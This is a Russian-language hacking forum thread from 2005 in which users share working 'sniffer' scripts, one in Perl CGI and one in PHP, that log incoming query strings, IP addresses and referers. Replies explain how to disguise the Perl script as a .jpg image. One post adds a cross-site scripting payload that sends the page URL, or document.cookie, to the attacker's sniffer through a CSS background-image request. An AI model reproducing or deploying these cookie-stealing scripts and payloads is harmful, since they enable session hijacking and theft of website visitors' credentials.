PDA

Просмотр полной версии : cgi-Сниффер


Майор
13.01.2005, 02:23
Здесь на античате привидён пример сниффера :
#!/usr/bin/perl

#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;

#делаем редирект на картинку
print "Location: image.gif\n\n";

#читаем CGI запрос
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

#получаем время запроса и HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};

#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);

#открываем на запись лог
open (LOG, ">$LogFile");

#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";

#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};

#закрываем лог
close (LOG);

exit;


Он работает, но только если к нему обрашаться, как http://adres.ru/snifer.cgi
Как зделать, так чтоб его можно было открывать как картинку ???

Algol
13.01.2005, 04:07
Как зделать, так чтоб его можно было открывать как картинку ???
Расширение заменить на jpg, закинуть в cgi-bin (либо настройть веб-сервер так, что бы jpg считались скриптами), и поставить атрибуты доступа 755

Майор
13.01.2005, 17:27
Расширение заменить на jpg, закинуть в cgi-bin (либо настройть веб-сервер так, что бы jpg считались скриптами), и поставить атрибуты доступа 755
Спасибо!
Возможно подобия такого снифера написать на php ?

Algol
13.01.2005, 19:07
Возможно, но если хочешь с расширением jpg, то придется менять настройки сервера

Fr1k
28.01.2005, 18:01
Хмм... а помоему про написать на пхп... ВОТ я себе написал снифер на ПХП и никаких проблем

SHiTS
28.01.2005, 18:45
не поделишься сниффом?))

Fr1k
29.01.2005, 14:49
для нчала держи простой сниф
я думаю разберёси... если нет пиши

<? $datafile="data.txt";
$snif=$_SERVER["QUERY_STRING"];
$snif=urldecode($snif);
$ip=$_SERVER["REMOTE_ADDR"];
if($snif=="snif") {
$f=@file($datafile);
print "<table border=1 width=100%><tr><td width=30%>Время</td><td>Данные</td><td width=20%>ИП</td></td>";
$i=1;
if($f) foreach($f as $v) {print "$v";$i++;}
print "$i lines total</table>";
} else {
$f=@file($datafile);
$datas=count($f);
$fw=fopen($datafile,'w');
fputs($fw,"<tr><td>".date ("l dS of F Y h:i:s A")."</td><td>$snif</td><td>$ip</td></tr>\n");
if($datas<40){if($f) foreach($f as $v) fputs($fw,$v);
}else{
for($i=0;$i<40;$i++) fputs($fw,$f[$i]);}
fclose($fw);}?>

Fr1k
29.01.2005, 14:52
отсылка ни него идёт типа

<script>a='url(\"http://путь_к_сниферу?'+location.href+'\")';document.all.tags('font')[0].style.backgroundImage=a;</script>

если получаем куки то вместо location.href - document.cookie
просмотр и тога как заметил в снифере имеет такой вид http://твойсайт/снифер.php?snif

SHiTS
29.01.2005, 15:00
если бы у меня был Си, а то только Delphi

Fr1k
29.01.2005, 16:27
а зачем тебе Си???? сниф на ПХП написан

JazzzSummerMan
29.01.2005, 21:58
Возможно, но если хочешь с расширением jpg, то придется менять настройки сервера
Еще можно выполнить PHP как чисто cgi-скрипт, в каталоге cgi-bin, только указать как в перле путь к интерпретатору